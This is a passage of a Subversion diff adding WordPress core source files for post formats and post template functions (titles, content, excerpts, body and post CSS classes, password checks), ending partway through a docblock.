+++ /tags/5.0.20/src/wp-includes/post-formats.php	(revision 56912)
@@ -0,0 +1,254 @@
+<?php
+/**
+ * Post format functions.
+ *
+ * @package WordPress
+ * @subpackage Post
+ */
+
+/**
+ * Retrieve the format slug for a post
+ *
+ * @since 3.1.0
+ *
+ * @param int|object|null $post Post ID or post object. Optional, default is the current post from the loop.
+ * @return string|false The format if successful. False otherwise.
+ */
+function get_post_format( $post = null ) {
+	if ( ! $post = get_post( $post ) )
+		return false;
+
+	if ( ! post_type_supports( $post->post_type, 'post-formats' ) )
+		return false;
+
+	$_format = get_the_terms( $post->ID, 'post_format' );
+
+	if ( empty( $_format ) )
+		return false;
+
+	$format = reset( $_format );
+
+	return str_replace('post-format-', '', $format->slug );
+}
+
+/**
+ * Check if a post has any of the given formats, or any format.
+ *
+ * @since 3.1.0
+ *
+ * @param string|array    $format Optional. The format or formats to check.
+ * @param object|int|null $post   Optional. The post to check. If not supplied, defaults to the current post if used in the loop.
+ * @return bool True if the post has any of the given formats (or any format, if no format specified), false otherwise.
+ */
+function has_post_format( $format = array(), $post = null ) {
+	$prefixed = array();
+
+	if ( $format ) {
+		foreach ( (array) $format as $single ) {
+			$prefixed[] = 'post-format-' . sanitize_key( $single );
+		}
+	}
+
+	return has_term( $prefixed, 'post_format', $post );
+}
+
+/**
+ * Assign a format to a post
+ *
+ * @since 3.1.0
+ *
+ * @param int|object $post   The post for which to assign a format.
+ * @param string     $format A format to assign. Use an empty string or array to remove all formats from the post.
+ * @return array|WP_Error|false WP_Error on error. Array of affected term IDs on success.
+ */
+function set_post_format( $post, $format ) {
+	$post = get_post( $post );
+
+	if ( empty( $post ) )
+		return new WP_Error( 'invalid_post', __( 'Invalid post.' ) );
+
+	if ( ! empty( $format ) ) {
+		$format = sanitize_key( $format );
+		if ( 'standard' === $format || ! in_array( $format, get_post_format_slugs() ) )
+			$format = '';
+		else
+			$format = 'post-format-' . $format;
+	}
+
+	return wp_set_post_terms( $post->ID, $format, 'post_format' );
+}
+
+/**
+ * Returns an array of post format slugs to their translated and pretty display versions
+ *
+ * @since 3.1.0
+ *
+ * @return array The array of translated post format names.
+ */
+function get_post_format_strings() {
+	$strings = array(
+		'standard' => _x( 'Standard', 'Post format' ), // Special case. any value that evals to false will be considered standard
+		'aside'    => _x( 'Aside',    'Post format' ),
+		'chat'     => _x( 'Chat',     'Post format' ),
+		'gallery'  => _x( 'Gallery',  'Post format' ),
+		'link'     => _x( 'Link',     'Post format' ),
+		'image'    => _x( 'Image',    'Post format' ),
+		'quote'    => _x( 'Quote',    'Post format' ),
+		'status'   => _x( 'Status',   'Post format' ),
+		'video'    => _x( 'Video',    'Post format' ),
+		'audio'    => _x( 'Audio',    'Post format' ),
+	);
+	return $strings;
+}
+
+/**
+ * Retrieves the array of post format slugs.
+ *
+ * @since 3.1.0
+ *
+ * @return array The array of post format slugs as both keys and values.
+ */
+function get_post_format_slugs() {
+	$slugs = array_keys( get_post_format_strings() );
+	return array_combine( $slugs, $slugs );
+}
+
+/**
+ * Returns a pretty, translated version of a post format slug
+ *
+ * @since 3.1.0
+ *
+ * @param string $slug A post format slug.
+ * @return string The translated post format name.
+ */
+function get_post_format_string( $slug ) {
+	$strings = get_post_format_strings();
+	if ( !$slug )
+		return $strings['standard'];
+	else
+		return ( isset( $strings[$slug] ) ) ? $strings[$slug] : '';
+}
+
+/**
+ * Returns a link to a post format index.
+ *
+ * @since 3.1.0
+ *
+ * @param string $format The post format slug.
+ * @return string|WP_Error|false The post format term link.
+ */
+function get_post_format_link( $format ) {
+	$term = get_term_by('slug', 'post-format-' . $format, 'post_format' );
+	if ( ! $term || is_wp_error( $term ) )
+		return false;
+	return get_term_link( $term );
+}
+
+/**
+ * Filters the request to allow for the format prefix.
+ *
+ * @access private
+ * @since 3.1.0
+ *
+ * @param array $qvs
+ * @return array
+ */
+function _post_format_request( $qvs ) {
+	if ( ! isset( $qvs['post_format'] ) )
+		return $qvs;
+	$slugs = get_post_format_slugs();
+	if ( isset( $slugs[ $qvs['post_format'] ] ) )
+		$qvs['post_format'] = 'post-format-' . $slugs[ $qvs['post_format'] ];
+	$tax = get_taxonomy( 'post_format' );
+	if ( ! is_admin() )
+		$qvs['post_type'] = $tax->object_type;
+	return $qvs;
+}
+
+/**
+ * Filters the post format term link to remove the format prefix.
+ *
+ * @access private
+ * @since 3.1.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param string $link
+ * @param object $term
+ * @param string $taxonomy
+ * @return string
+ */
+function _post_format_link( $link, $term, $taxonomy ) {
+	global $wp_rewrite;
+	if ( 'post_format' != $taxonomy ) {
+		return $link;
+	}
+	if ( $wp_rewrite->get_extra_permastruct( $taxonomy ) ) {
+		return str_replace( "/{$term->slug}", '/' . str_replace( 'post-format-', '', $term->slug ), $link );
+	} else {
+		$link = remove_query_arg( 'post_format', $link );
+		return add_query_arg( 'post_format', str_replace( 'post-format-', '', $term->slug ), $link );
+	}
+}
+
+/**
+ * Remove the post format prefix from the name property of the term object created by get_term().
+ *
+ * @access private
+ * @since 3.1.0
+ *
+ * @param object $term
+ * @return object
+ */
+function _post_format_get_term( $term ) {
+	if ( isset( $term->slug ) ) {
+		$term->name = get_post_format_string( str_replace( 'post-format-', '', $term->slug ) );
+	}
+	return $term;
+}
+
+/**
+ * Remove the post format prefix from the name property of the term objects created by get_terms().
+ *
+ * @access private
+ * @since 3.1.0
+ *
+ * @param array        $terms
+ * @param string|array $taxonomies
+ * @param array        $args
+ * @return array
+ */
+function _post_format_get_terms( $terms, $taxonomies, $args ) {
+	if ( in_array( 'post_format', (array) $taxonomies ) ) {
+		if ( isset( $args['fields'] ) && 'names' == $args['fields'] ) {
+			foreach ( $terms as $order => $name ) {
+				$terms[$order] = get_post_format_string( str_replace( 'post-format-', '', $name ) );
+			}
+		} else {
+			foreach ( (array) $terms as $order => $term ) {
+				if ( isset( $term->taxonomy ) && 'post_format' == $term->taxonomy ) {
+					$terms[$order]->name = get_post_format_string( str_replace( 'post-format-', '', $term->slug ) );
+				}
+			}
+		}
+	}
+	return $terms;
+}
+
+/**
+ * Remove the post format prefix from the name property of the term objects created by wp_get_object_terms().
+ *
+ * @access private
+ * @since 3.1.0
+ *
+ * @param array $terms
+ * @return array
+ */
+function _post_format_wp_get_object_terms( $terms ) {
+	foreach ( (array) $terms as $order => $term ) {
+		if ( isset( $term->taxonomy ) && 'post_format' == $term->taxonomy ) {
+			$terms[$order]->name = get_post_format_string( str_replace( 'post-format-', '', $term->slug ) );
+		}
+	}
+	return $terms;
+}
Index: /tags/5.0.20/src/wp-includes/post-template.php
===================================================================
--- /tags/5.0.20/src/wp-includes/post-template.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/post-template.php	(revision 56912)
@@ -0,0 +1,1822 @@
+<?php
+/**
+ * WordPress Post Template Functions.
+ *
+ * Gets content for the current post in the loop.
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Display the ID of the current item in the WordPress Loop.
+ *
+ * @since 0.71
+ */
+function the_ID() {
+	echo get_the_ID();
+}
+
+/**
+ * Retrieve the ID of the current item in the WordPress Loop.
+ *
+ * @since 2.1.0
+ *
+ * @return int|false The ID of the current item in the WordPress Loop. False if $post is not set.
+ */
+function get_the_ID() {
+	$post = get_post();
+	return ! empty( $post ) ? $post->ID : false;
+}
+
+/**
+ * Display or retrieve the current post title with optional markup.
+ *
+ * @since 0.71
+ *
+ * @param string $before Optional. Markup to prepend to the title. Default empty.
+ * @param string $after  Optional. Markup to append to the title. Default empty.
+ * @param bool   $echo   Optional. Whether to echo or return the title. Default true for echo.
+ * @return string|void Current post title if $echo is false.
+ */
+function the_title( $before = '', $after = '', $echo = true ) {
+	$title = get_the_title();
+
+	if ( strlen($title) == 0 )
+		return;
+
+	$title = $before . $title . $after;
+
+	if ( $echo )
+		echo $title;
+	else
+		return $title;
+}
+
+/**
+ * Sanitize the current title when retrieving or displaying.
+ *
+ * Works like the_title(), except the parameters can be in a string or
+ * an array. See the function for what can be override in the $args parameter.
+ *
+ * The title before it is displayed will have the tags stripped and esc_attr()
+ * before it is passed to the user or displayed. The default as with the_title(),
+ * is to display the title.
+ *
+ * @since 2.3.0
+ *
+ * @param string|array $args {
+ *     Title attribute arguments. Optional.
+ *
+ *     @type string  $before Markup to prepend to the title. Default empty.
+ *     @type string  $after  Markup to append to the title. Default empty.
+ *     @type bool    $echo   Whether to echo or return the title. Default true for echo.
+ *     @type WP_Post $post   Current post object to retrieve the title for.
+ * }
+ * @return string|void String when echo is false.
+ */
+function the_title_attribute( $args = '' ) {
+	$defaults = array( 'before' => '', 'after' =>  '', 'echo' => true, 'post' => get_post() );
+	$r = wp_parse_args( $args, $defaults );
+
+	$title = get_the_title( $r['post'] );
+
+	if ( strlen( $title ) == 0 ) {
+		return;
+	}
+
+	$title = $r['before'] . $title . $r['after'];
+	$title = esc_attr( strip_tags( $title ) );
+
+	if ( $r['echo'] ) {
+		echo $title;
+	} else {
+		return $title;
+	}
+}
+
+/**
+ * Retrieve post title.
+ *
+ * If the post is protected and the visitor is not an admin, then "Protected"
+ * will be displayed before the post title. If the post is private, then
+ * "Private" will be located before the post title.
+ *
+ * @since 0.71
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @return string
+ */
+function get_the_title( $post = 0 ) {
+	$post = get_post( $post );
+
+	$title = isset( $post->post_title ) ? $post->post_title : '';
+	$id = isset( $post->ID ) ? $post->ID : 0;
+
+	if ( ! is_admin() ) {
+		if ( ! empty( $post->post_password ) ) {
+
+			/**
+			 * Filters the text prepended to the post title for protected posts.
+			 *
+			 * The filter is only applied on the front end.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param string  $prepend Text displayed before the post title.
+			 *                         Default 'Protected: %s'.
+			 * @param WP_Post $post    Current post object.
+			 */
+			$protected_title_format = apply_filters( 'protected_title_format', __( 'Protected: %s' ), $post );
+			$title = sprintf( $protected_title_format, $title );
+		} elseif ( isset( $post->post_status ) && 'private' == $post->post_status ) {
+
+			/**
+			 * Filters the text prepended to the post title of private posts.
+			 *
+			 * The filter is only applied on the front end.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param string  $prepend Text displayed before the post title.
+			 *                         Default 'Private: %s'.
+			 * @param WP_Post $post    Current post object.
+			 */
+			$private_title_format = apply_filters( 'private_title_format', __( 'Private: %s' ), $post );
+			$title = sprintf( $private_title_format, $title );
+		}
+	}
+
+	/**
+	 * Filters the post title.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $title The post title.
+	 * @param int    $id    The post ID.
+	 */
+	return apply_filters( 'the_title', $title, $id );
+}
+
+/**
+ * Display the Post Global Unique Identifier (guid).
+ *
+ * The guid will appear to be a link, but should not be used as a link to the
+ * post. The reason you should not use it as a link, is because of moving the
+ * blog across domains.
+ *
+ * URL is escaped to make it XML-safe.
+ *
+ * @since 1.5.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or post object. Default is global $post.
+ */
+function the_guid( $post = 0 ) {
+	$post = get_post( $post );
+
+	$guid = isset( $post->guid ) ? get_the_guid( $post ) : '';
+	$id   = isset( $post->ID ) ? $post->ID : 0;
+
+	/**
+	 * Filters the escaped Global Unique Identifier (guid) of the post.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @see get_the_guid()
+	 *
+	 * @param string $guid Escaped Global Unique Identifier (guid) of the post.
+	 * @param int    $id   The post ID.
+	 */
+	echo apply_filters( 'the_guid', $guid, $id );
+}
+
+/**
+ * Retrieve the Post Global Unique Identifier (guid).
+ *
+ * The guid will appear to be a link, but should not be used as an link to the
+ * post. The reason you should not use it as a link, is because of moving the
+ * blog across domains.
+ *
+ * @since 1.5.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or post object. Default is global $post.
+ * @return string
+ */
+function get_the_guid( $post = 0 ) {
+	$post = get_post( $post );
+
+	$guid = isset( $post->guid ) ? $post->guid : '';
+	$id   = isset( $post->ID ) ? $post->ID : 0;
+
+	/**
+	 * Filters the Global Unique Identifier (guid) of the post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $guid Global Unique Identifier (guid) of the post.
+	 * @param int    $id   The post ID.
+	 */
+	return apply_filters( 'get_the_guid', $guid, $id );
+}
+
+/**
+ * Display the post content.
+ *
+ * @since 0.71
+ *
+ * @param string $more_link_text Optional. Content for when there is more text.
+ * @param bool   $strip_teaser   Optional. Strip teaser content before the more text. Default is false.
+ */
+function the_content( $more_link_text = null, $strip_teaser = false) {
+	$content = get_the_content( $more_link_text, $strip_teaser );
+
+	/**
+	 * Filters the post content.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $content Content of the current post.
+	 */
+	$content = apply_filters( 'the_content', $content );
+	$content = str_replace( ']]>', ']]&gt;', $content );
+	echo $content;
+}
+
+/**
+ * Retrieve the post content.
+ *
+ * @since 0.71
+ *
+ * @global int   $page      Page number of a single post/page.
+ * @global int   $more      Boolean indicator for whether single post/page is being viewed.
+ * @global bool  $preview   Whether post/page is in preview mode.
+ * @global array $pages     Array of all pages in post/page. Each array element contains part of the content separated by the <!--nextpage--> tag.
+ * @global int   $multipage Boolean indicator for whether multiple pages are in play.
+ *
+ * @param string $more_link_text Optional. Content for when there is more text.
+ * @param bool   $strip_teaser   Optional. Strip teaser content before the more text. Default is false.
+ * @return string
+ */
+function get_the_content( $more_link_text = null, $strip_teaser = false ) {
+	global $page, $more, $preview, $pages, $multipage;
+
+	$post = get_post();
+
+	if ( null === $more_link_text ) {
+		$more_link_text = sprintf(
+			'<span aria-label="%1$s">%2$s</span>',
+			sprintf(
+				/* translators: %s: Name of current post */
+				__( 'Continue reading %s' ),
+				the_title_attribute( array( 'echo' => false ) )
+			),
+			__( '(more&hellip;)' )
+		);
+	}
+
+	$output = '';
+	$has_teaser = false;
+
+	// If post password required and it doesn't match the cookie.
+	if ( post_password_required( $post ) )
+		return get_the_password_form( $post );
+
+	if ( $page > count( $pages ) ) // if the requested page doesn't exist
+		$page = count( $pages ); // give them the highest numbered page that DOES exist
+
+	$content = $pages[$page - 1];
+	if ( preg_match( '/<!--more(.*?)?-->/', $content, $matches ) ) {
+		$content = explode( $matches[0], $content, 2 );
+		if ( ! empty( $matches[1] ) && ! empty( $more_link_text ) )
+			$more_link_text = strip_tags( wp_kses_no_null( trim( $matches[1] ) ) );
+
+		$has_teaser = true;
+	} else {
+		$content = array( $content );
+	}
+
+	if ( false !== strpos( $post->post_content, '<!--noteaser-->' ) && ( ! $multipage || $page == 1 ) )
+		$strip_teaser = true;
+
+	$teaser = $content[0];
+
+	if ( $more && $strip_teaser && $has_teaser )
+		$teaser = '';
+
+	$output .= $teaser;
+
+	if ( count( $content ) > 1 ) {
+		if ( $more ) {
+			$output .= '<span id="more-' . $post->ID . '"></span>' . $content[1];
+		} else {
+			if ( ! empty( $more_link_text ) )
+
+				/**
+				 * Filters the Read More link text.
+				 *
+				 * @since 2.8.0
+				 *
+				 * @param string $more_link_element Read More link element.
+				 * @param string $more_link_text    Read More text.
+				 */
+				$output .= apply_filters( 'the_content_more_link', ' <a href="' . get_permalink() . "#more-{$post->ID}\" class=\"more-link\">$more_link_text</a>", $more_link_text );
+			$output = force_balance_tags( $output );
+		}
+	}
+
+	return $output;
+}
+
+/**
+ * Display the post excerpt.
+ *
+ * @since 0.71
+ */
+function the_excerpt() {
+
+	/**
+	 * Filters the displayed post excerpt.
+	 *
+	 * @since 0.71
+	 *
+	 * @see get_the_excerpt()
+	 *
+	 * @param string $post_excerpt The post excerpt.
+	 */
+	echo apply_filters( 'the_excerpt', get_the_excerpt() );
+}
+
+/**
+ * Retrieves the post excerpt.
+ *
+ * @since 0.71
+ * @since 4.5.0 Introduced the `$post` parameter.
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @return string Post excerpt.
+ */
+function get_the_excerpt( $post = null ) {
+	if ( is_bool( $post ) ) {
+		_deprecated_argument( __FUNCTION__, '2.3.0' );
+	}
+
+	$post = get_post( $post );
+	if ( empty( $post ) ) {
+		return '';
+	}
+
+	if ( post_password_required( $post ) ) {
+		return __( 'There is no excerpt because this is a protected post.' );
+	}
+
+	/**
+	 * Filters the retrieved post excerpt.
+	 *
+	 * @since 1.2.0
+	 * @since 4.5.0 Introduced the `$post` parameter.
+	 *
+	 * @param string $post_excerpt The post excerpt.
+	 * @param WP_Post $post Post object.
+	 */
+	return apply_filters( 'get_the_excerpt', $post->post_excerpt, $post );
+}
+
+/**
+ * Determines whether the post has a custom excerpt.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 2.3.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @return bool True if the post has a custom excerpt, false otherwise.
+ */
+function has_excerpt( $post = 0 ) {
+	$post = get_post( $post );
+	return ( !empty( $post->post_excerpt ) );
+}
+
+/**
+ * Display the classes for the post div.
+ *
+ * @since 2.7.0
+ *
+ * @param string|array $class   One or more classes to add to the class list.
+ * @param int|WP_Post  $post_id Optional. Post ID or post object. Defaults to the global `$post`.
+ */
+function post_class( $class = '', $post_id = null ) {
+	// Separates classes with a single space, collates classes for post DIV
+	echo 'class="' . join( ' ', get_post_class( $class, $post_id ) ) . '"';
+}
+
+/**
+ * Retrieves the classes for the post div as an array.
+ *
+ * The class names are many. If the post is a sticky, then the 'sticky'
+ * class name. The class 'hentry' is always added to each post. If the post has a
+ * post thumbnail, 'has-post-thumbnail' is added as a class. For each taxonomy that
+ * the post belongs to, a class will be added of the format '{$taxonomy}-{$slug}' -
+ * eg 'category-foo' or 'my_custom_taxonomy-bar'.
+ *
+ * The 'post_tag' taxonomy is a special
+ * case; the class has the 'tag-' prefix instead of 'post_tag-'. All classes are
+ * passed through the filter, {@see 'post_class'}, with the list of classes, followed by
+ * $class parameter value, with the post ID as the last parameter.
+ *
+ * @since 2.7.0
+ * @since 4.2.0 Custom taxonomy classes were added.
+ *
+ * @param string|array $class   One or more classes to add to the class list.
+ * @param int|WP_Post  $post_id Optional. Post ID or post object.
+ * @return array Array of classes.
+ */
+function get_post_class( $class = '', $post_id = null ) {
+	$post = get_post( $post_id );
+
+	$classes = array();
+
+	if ( $class ) {
+		if ( ! is_array( $class ) ) {
+			$class = preg_split( '#\s+#', $class );
+		}
+		$classes = array_map( 'esc_attr', $class );
+	} else {
+		// Ensure that we always coerce class to being an array.
+		$class = array();
+	}
+
+	if ( ! $post ) {
+		return $classes;
+	}
+
+	$classes[] = 'post-' . $post->ID;
+	if ( ! is_admin() )
+		$classes[] = $post->post_type;
+	$classes[] = 'type-' . $post->post_type;
+	$classes[] = 'status-' . $post->post_status;
+
+	// Post Format
+	if ( post_type_supports( $post->post_type, 'post-formats' ) ) {
+		$post_format = get_post_format( $post->ID );
+
+		if ( $post_format && !is_wp_error($post_format) )
+			$classes[] = 'format-' . sanitize_html_class( $post_format );
+		else
+			$classes[] = 'format-standard';
+	}
+
+	$post_password_required = post_password_required( $post->ID );
+
+	// Post requires password.
+	if ( $post_password_required ) {
+		$classes[] = 'post-password-required';
+	} elseif ( ! empty( $post->post_password ) ) {
+		$classes[] = 'post-password-protected';
+	}
+
+	// Post thumbnails.
+	if ( current_theme_supports( 'post-thumbnails' ) && has_post_thumbnail( $post->ID ) && ! is_attachment( $post ) && ! $post_password_required ) {
+		$classes[] = 'has-post-thumbnail';
+	}
+
+	// sticky for Sticky Posts
+	if ( is_sticky( $post->ID ) ) {
+		if ( is_home() && ! is_paged() ) {
+			$classes[] = 'sticky';
+		} elseif ( is_admin() ) {
+			$classes[] = 'status-sticky';
+		}
+	}
+
+	// hentry for hAtom compliance
+	$classes[] = 'hentry';
+
+	// All public taxonomies
+	$taxonomies = get_taxonomies( array( 'public' => true ) );
+	foreach ( (array) $taxonomies as $taxonomy ) {
+		if ( is_object_in_taxonomy( $post->post_type, $taxonomy ) ) {
+			foreach ( (array) get_the_terms( $post->ID, $taxonomy ) as $term ) {
+				if ( empty( $term->slug ) ) {
+					continue;
+				}
+
+				$term_class = sanitize_html_class( $term->slug, $term->term_id );
+				if ( is_numeric( $term_class ) || ! trim( $term_class, '-' ) ) {
+					$term_class = $term->term_id;
+				}
+
+				// 'post_tag' uses the 'tag' prefix for backward compatibility.
+				if ( 'post_tag' == $taxonomy ) {
+					$classes[] = 'tag-' . $term_class;
+				} else {
+					$classes[] = sanitize_html_class( $taxonomy . '-' . $term_class, $taxonomy . '-' . $term->term_id );
+				}
+			}
+		}
+	}
+
+	$classes = array_map( 'esc_attr', $classes );
+
+	/**
+	 * Filters the list of CSS classes for the current post.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $classes An array of post classes.
+	 * @param array $class   An array of additional classes added to the post.
+	 * @param int   $post_id The post ID.
+	 */
+	$classes = apply_filters( 'post_class', $classes, $class, $post->ID );
+
+	return array_unique( $classes );
+}
+
+/**
+ * Display the classes for the body element.
+ *
+ * @since 2.8.0
+ *
+ * @param string|array $class One or more classes to add to the class list.
+ */
+function body_class( $class = '' ) {
+	// Separates classes with a single space, collates classes for body element
+	echo 'class="' . join( ' ', get_body_class( $class ) ) . '"';
+}
+
+/**
+ * Retrieve the classes for the body element as an array.
+ *
+ * @since 2.8.0
+ *
+ * @global WP_Query $wp_query
+ *
+ * @param string|array $class One or more classes to add to the class list.
+ * @return array Array of classes.
+ */
+function get_body_class( $class = '' ) {
+	global $wp_query;
+
+	$classes = array();
+
+	if ( is_rtl() )
+		$classes[] = 'rtl';
+
+	if ( is_front_page() )
+		$classes[] = 'home';
+	if ( is_home() )
+		$classes[] = 'blog';
+	if ( is_archive() )
+		$classes[] = 'archive';
+	if ( is_date() )
+		$classes[] = 'date';
+	if ( is_search() ) {
+		$classes[] = 'search';
+		$classes[] = $wp_query->posts ? 'search-results' : 'search-no-results';
+	}
+	if ( is_paged() )
+		$classes[] = 'paged';
+	if ( is_attachment() )
+		$classes[] = 'attachment';
+	if ( is_404() )
+		$classes[] = 'error404';
+
+	if ( is_singular() ) {
+		$post_id = $wp_query->get_queried_object_id();
+		$post = $wp_query->get_queried_object();
+		$post_type = $post->post_type;
+
+		if ( is_page_template() ) {
+			$classes[] = "{$post_type}-template";
+
+			$template_slug  = get_page_template_slug( $post_id );
+			$template_parts = explode( '/', $template_slug );
+
+			foreach ( $template_parts as $part ) {
+				$classes[] = "{$post_type}-template-" . sanitize_html_class( str_replace( array( '.', '/' ), '-', basename( $part, '.php' ) ) );
+			}
+			$classes[] = "{$post_type}-template-" . sanitize_html_class( str_replace( '.', '-', $template_slug ) );
+		} else {
+			$classes[] = "{$post_type}-template-default";
+		}
+
+		if ( is_single() ) {
+			$classes[] = 'single';
+			if ( isset( $post->post_type ) ) {
+				$classes[] = 'single-' . sanitize_html_class( $post->post_type, $post_id );
+				$classes[] = 'postid-' . $post_id;
+
+				// Post Format
+				if ( post_type_supports( $post->post_type, 'post-formats' ) ) {
+					$post_format = get_post_format( $post->ID );
+
+					if ( $post_format && !is_wp_error($post_format) )
+						$classes[] = 'single-format-' . sanitize_html_class( $post_format );
+					else
+						$classes[] = 'single-format-standard';
+				}
+			}
+		}
+
+		if ( is_attachment() ) {
+			$mime_type = get_post_mime_type($post_id);
+			$mime_prefix = array( 'application/', 'image/', 'text/', 'audio/', 'video/', 'music/' );
+			$classes[] = 'attachmentid-' . $post_id;
+			$classes[] = 'attachment-' . str_replace( $mime_prefix, '', $mime_type );
+		} elseif ( is_page() ) {
+			$classes[] = 'page';
+
+			$page_id = $wp_query->get_queried_object_id();
+
+			$post = get_post($page_id);
+
+			$classes[] = 'page-id-' . $page_id;
+
+			if ( get_pages( array( 'parent' => $page_id, 'number' => 1 ) ) ) {
+				$classes[] = 'page-parent';
+			}
+
+			if ( $post->post_parent ) {
+				$classes[] = 'page-child';
+				$classes[] = 'parent-pageid-' . $post->post_parent;
+			}
+		}
+	} elseif ( is_archive() ) {
+		if ( is_post_type_archive() ) {
+			$classes[] = 'post-type-archive';
+			$post_type = get_query_var( 'post_type' );
+			if ( is_array( $post_type ) )
+				$post_type = reset( $post_type );
+			$classes[] = 'post-type-archive-' . sanitize_html_class( $post_type );
+		} elseif ( is_author() ) {
+			$author = $wp_query->get_queried_object();
+			$classes[] = 'author';
+			if ( isset( $author->user_nicename ) ) {
+				$classes[] = 'author-' . sanitize_html_class( $author->user_nicename, $author->ID );
+				$classes[] = 'author-' . $author->ID;
+			}
+		} elseif ( is_category() ) {
+			$cat = $wp_query->get_queried_object();
+			$classes[] = 'category';
+			if ( isset( $cat->term_id ) ) {
+				$cat_class = sanitize_html_class( $cat->slug, $cat->term_id );
+				if ( is_numeric( $cat_class ) || ! trim( $cat_class, '-' ) ) {
+					$cat_class = $cat->term_id;
+				}
+
+				$classes[] = 'category-' . $cat_class;
+				$classes[] = 'category-' . $cat->term_id;
+			}
+		} elseif ( is_tag() ) {
+			$tag = $wp_query->get_queried_object();
+			$classes[] = 'tag';
+			if ( isset( $tag->term_id ) ) {
+				$tag_class = sanitize_html_class( $tag->slug, $tag->term_id );
+				if ( is_numeric( $tag_class ) || ! trim( $tag_class, '-' ) ) {
+					$tag_class = $tag->term_id;
+				}
+
+				$classes[] = 'tag-' . $tag_class;
+				$classes[] = 'tag-' . $tag->term_id;
+			}
+		} elseif ( is_tax() ) {
+			$term = $wp_query->get_queried_object();
+			if ( isset( $term->term_id ) ) {
+				$term_class = sanitize_html_class( $term->slug, $term->term_id );
+				if ( is_numeric( $term_class ) || ! trim( $term_class, '-' ) ) {
+					$term_class = $term->term_id;
+				}
+
+				$classes[] = 'tax-' . sanitize_html_class( $term->taxonomy );
+				$classes[] = 'term-' . $term_class;
+				$classes[] = 'term-' . $term->term_id;
+			}
+		}
+	}
+
+	if ( is_user_logged_in() )
+		$classes[] = 'logged-in';
+
+	if ( is_admin_bar_showing() ) {
+		$classes[] = 'admin-bar';
+		$classes[] = 'no-customize-support';
+	}
+
+	if ( get_background_color() !== get_theme_support( 'custom-background', 'default-color' ) || get_background_image() )
+		$classes[] = 'custom-background';
+
+	if ( has_custom_logo() ) {
+		$classes[] = 'wp-custom-logo';
+	}
+
+	if ( current_theme_supports( 'responsive-embeds' ) ) {
+		$classes[] = 'wp-embed-responsive';
+	}
+
+	$page = $wp_query->get( 'page' );
+
+	if ( ! $page || $page < 2 )
+		$page = $wp_query->get( 'paged' );
+
+	if ( $page && $page > 1 && ! is_404() ) {
+		$classes[] = 'paged-' . $page;
+
+		if ( is_single() )
+			$classes[] = 'single-paged-' . $page;
+		elseif ( is_page() )
+			$classes[] = 'page-paged-' . $page;
+		elseif ( is_category() )
+			$classes[] = 'category-paged-' . $page;
+		elseif ( is_tag() )
+			$classes[] = 'tag-paged-' . $page;
+		elseif ( is_date() )
+			$classes[] = 'date-paged-' . $page;
+		elseif ( is_author() )
+			$classes[] = 'author-paged-' . $page;
+		elseif ( is_search() )
+			$classes[] = 'search-paged-' . $page;
+		elseif ( is_post_type_archive() )
+			$classes[] = 'post-type-paged-' . $page;
+	}
+
+	if ( ! empty( $class ) ) {
+		if ( !is_array( $class ) )
+			$class = preg_split( '#\s+#', $class );
+		$classes = array_merge( $classes, $class );
+	} else {
+		// Ensure that we always coerce class to being an array.
+		$class = array();
+	}
+
+	$classes = array_map( 'esc_attr', $classes );
+
+	/**
+	 * Filters the list of CSS body classes for the current post or page.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $classes An array of body classes.
+	 * @param array $class   An array of additional classes added to the body.
+	 */
+	$classes = apply_filters( 'body_class', $classes, $class );
+
+	return array_unique( $classes );
+}
+
+/**
+ * Whether post requires password and correct password has been provided.
+ *
+ * @since 2.7.0
+ *
+ * @param int|WP_Post|null $post An optional post. Global $post used if not provided.
+ * @return bool false if a password is not required or the correct password cookie is present, true otherwise.
+ */
+function post_password_required( $post = null ) {
+	$post = get_post($post);
+
+	if ( empty( $post->post_password ) ) {
+		/** This filter is documented in wp-includes/post-template.php */
+		return apply_filters( 'post_password_required', false, $post );
+	}
+
+	if ( ! isset( $_COOKIE[ 'wp-postpass_' . COOKIEHASH ] ) ) {
+		/** This filter is documented in wp-includes/post-template.php */
+		return apply_filters( 'post_password_required', true, $post );
+	}
+
+	require_once ABSPATH . WPINC . '/class-phpass.php';
+	$hasher = new PasswordHash( 8, true );
+
+	$hash = wp_unslash( $_COOKIE[ 'wp-postpass_' . COOKIEHASH ] );
+	if ( 0 !== strpos( $hash, '$P$B' ) ) {
+		$required = true;
+	} else {
+		$required = ! $hasher->CheckPassword( $post->post_password, $hash );
+	}
+
+	/**
+	 * Filters whether a post requires the user to supply a password.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param bool    $required Whether the user needs to supply a password. True if password has not been
+	 *                          provided or is incorrect, false if password has been supplied or is not required.
+	 * @param WP_Post $post     Post data.
+	 */
+	return apply_filters( 'post_password_required', $required, $post );
+}
+
+//
+// Page Template Functions for usage in Themes
+//
+
+/**
+ * The formatted output of a list of pages.
+ *
+ * Displays page links for paginated posts (i.e. includes the <!--nextpage-->.
+ * Quicktag one or more times). This tag must be within The Loop.
+ *
+ * @since 1.2.0
+ *
+ * @global int $page
+ * @global int $numpages
+ * @global int $multipage
+ * @global int $more
+ *
+ * @param string|array $args {
+ *     Optional. Array or string of default arguments.
+ *
+ *     @type string       $before           HTML or text to prepend to each link. Default is `<p> Pages:`.
+ *     @type string       $after            HTML or text to append to each link. Default is `</p>`.
+ *     @type string       $link_before      HTML or text to prepend to each link, inside the `<a>` tag.
+ *                                          Also prepended to the current item, which is not linked. Default empty.
